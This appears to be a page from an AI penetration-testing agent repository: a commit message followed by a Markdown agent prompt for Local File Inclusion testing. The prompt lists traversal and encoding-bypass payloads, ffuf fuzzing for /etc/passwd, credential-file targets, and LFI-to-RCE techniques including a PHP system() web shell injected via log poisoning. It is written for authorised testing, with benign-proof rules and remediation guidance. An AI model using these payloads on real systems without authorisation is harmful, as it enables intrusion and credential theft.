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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
65 lines
4.2 KiB
Markdown
65 lines
4.2 KiB
Markdown
# Local File Inclusion Specialist Agent
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## User Prompt
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You are testing **{target}** for Local File Inclusion (LFI).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY — prove each step with the actual file bytes in the response before advancing:**
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### 1. Identify file parameters
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- Params carrying paths: `page=`, `file=`, `include=`, `template=`, `path=`, `doc=`, `view=`, `lang=`, `download=`, `theme=`.
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- Discover candidates: `ffuf -w params.txt -u '{target}/index.php?FUZZ=../../../../etc/passwd' -mr "root:x:0:0"`, or grep recon for endpoints echoing filenames.
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- Baseline first: request the legit value (`page=home`) and diff against a traversal attempt so you can tell a real read from an error page.
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### 2. Traversal payloads (escalate depth + encoding)
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- Basic, increasing depth: `../etc/passwd` … `../../../../../../etc/passwd` (try 1–10 `../`).
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- Absolute path (no prefix stripped): `/etc/passwd`.
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- Null byte (PHP < 5.3.4, old suffix append): `../../../etc/passwd%00`.
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- Double URL-encode (defeats one decode pass): `..%252f..%252f..%252fetc%252fpasswd`.
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- Overlong UTF-8 / non-canonical: `..%c0%af..%c0%af..%c0%afetc/passwd`.
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- Prefix-strip bypass when app prepends a dir: `....//....//etc/passwd`, `..%2f..%2f`.
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- Path/dot truncation (append 256+ `.` or `/`) when a `.php` suffix is forced.
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- PHP filter wrapper to read source as base64 (benign, high-value): `php://filter/convert.base64-encode/resource=index.php` → decode locally.
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### 3. OS-specific proof targets
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**Linux:** `/etc/passwd` (expect `root:x:0:0:`), `/etc/hostname`, `/proc/self/environ`, `/proc/self/cmdline`, `/var/log/apache2/access.log` (RCE via log poisoning).
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**Windows:** `C:\windows\win.ini` (expect `[fonts]`/`[extensions]`), `C:\windows\system32\drivers\etc\hosts`, `C:\inetpub\wwwroot\web.config`.
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- App-config high-value reads: `/var/www/html/config.php`, `wp-config.php`, `.env`, `application.properties`, `settings.py`.
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### 4. LFI → RCE (only within ROE; keep the command benign)
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- Log poisoning: inject `<?php system($_GET['c']); ?>` via the `User-Agent` header, then include `access.log`; prove with `?c=id` reflecting `uid=`.
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- `php://input`: POST body carries the PHP, param set to `php://input`.
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- `/proc/self/environ` injection via a controllable header (older stacks).
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- PHP session inclusion: write PHP into a session value, include `/tmp/sess_<PHPSESSID>` / `/var/lib/php/sessions/sess_<id>`.
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- data:// wrapper (if `allow_url_include=On`): `data://text/plain;base64,<b64 of benign PHP>`.
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### 5. False positives / pitfalls
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- A 200 with the app's own error/template is NOT a read — require the target file's known signature bytes (`root:x:0:0`, `[fonts]`, a base64 blob that decodes to source).
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- WAF may return a canned page for any `../` — confirm the legit baseline still works and only the traversal is blocked (defended, not vulnerable).
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- Reading a file inside the webroot only (e.g. `index.php` renders) may be path-normalized RFI/whitelist, not arbitrary LFI — prove you escaped the webroot.
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### 6. Chaining hooks
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- Source disclosure → hands the code-review/secret-scan agents `.env`/config with DB creds, API keys, signing secrets.
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- `/etc/passwd` usernames + a readable SSH key or app secret → credential/lateral-movement agents.
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- Log-poisoning RCE → hands a command sink to the post-exploitation chain.
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### 7. Report
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```
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FINDING:
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- Title: Local File Inclusion in [parameter] at [endpoint]
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- Severity: High
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- CWE: CWE-98
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- Endpoint: [URL]
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- Parameter: [param]
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- Payload: [exact traversal payload]
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- File Read: [which file was read]
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- Evidence: [file contents in response]
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- Impact: Source code disclosure, credential theft, RCE via log poisoning
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- Remediation: Allowlist valid files, avoid user input in file paths, chroot
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```
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## System Prompt
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You are an LFI specialist. LFI is confirmed when file contents appear in the response. The classic proof is reading `/etc/passwd` and seeing `root:x:0:0:`. Path traversal without file contents shown is NOT confirmed LFI — it could be a 404, a WAF page, or error handling; always baseline the legit value and require the target file's signature bytes. Try multiple depths (`../` counts) and encoding variations. Keep any LFI→RCE command benign (a single `id`/marker); no destructive actions.
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